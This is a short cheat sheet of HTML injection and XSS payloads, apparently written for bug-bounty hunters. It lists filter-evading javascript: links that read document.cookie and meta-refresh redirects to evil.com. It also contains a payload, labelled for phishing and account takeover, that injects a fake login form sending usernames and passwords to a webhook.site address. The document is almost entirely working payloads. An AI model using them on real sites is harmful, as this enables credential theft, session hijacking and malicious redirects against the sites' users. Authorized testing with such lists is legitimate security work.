👑Find HTML Injection (CWE-79)

My Main Payload

"><a href=https://bing.com>hacked
'"><marquee>Hacked_by_asad</marquee>

"><meta http-equiv="Refresh" content="0; url='https://evil.com'"/>
"><a aa aaa aaaa aaaaaa href=j&#97v&#97script&#x3A;&#97lert(document.cookie)>ClickMe

Small Payload

<h1>d0mxss</h1>
'"`><img src=x>
'"/><a href="rg"><h2>asad
<h1 style="color:red">HTMLInjection</h1>
'"/><b/style=position:fixed;top:0;left:0;font-size:300px>XSS<!--

<iframe src=javascript​:prompt`${origin}` xss

CSS Injections

<input type=password style="color:red" value=“a0xS3cr3t”> 
"><svg height="100" width="100"> <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" /> </svg>

Payload Analysis

<a href="j&#97;vascript&#x3A;&#97;lert('WAF Bypassed by Aasad ! ' + document.domain + '\nCookie: ' + document.cookie); window&#46;location&#46;href='https://evil.com';">ClickMe</a>

HTML Injection to Phishing Steal Credentials to Accont Takeover

'><h3>Please login to proceed</h3> <form action=https://webhook.site/33f747e2-fdb7-468d-b3ae-d114d94e2219>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Login"></br> 

HTML Injection to Open Redirect

"><meta http-equiv="Refresh" content="0; url='https://evil.com'"/>

HTML Injection to XSS

<a aa aaa aaaa aaaaaa href=j&#97v&#97script&#x3A;&#97lert(document.cookie)>ClickMe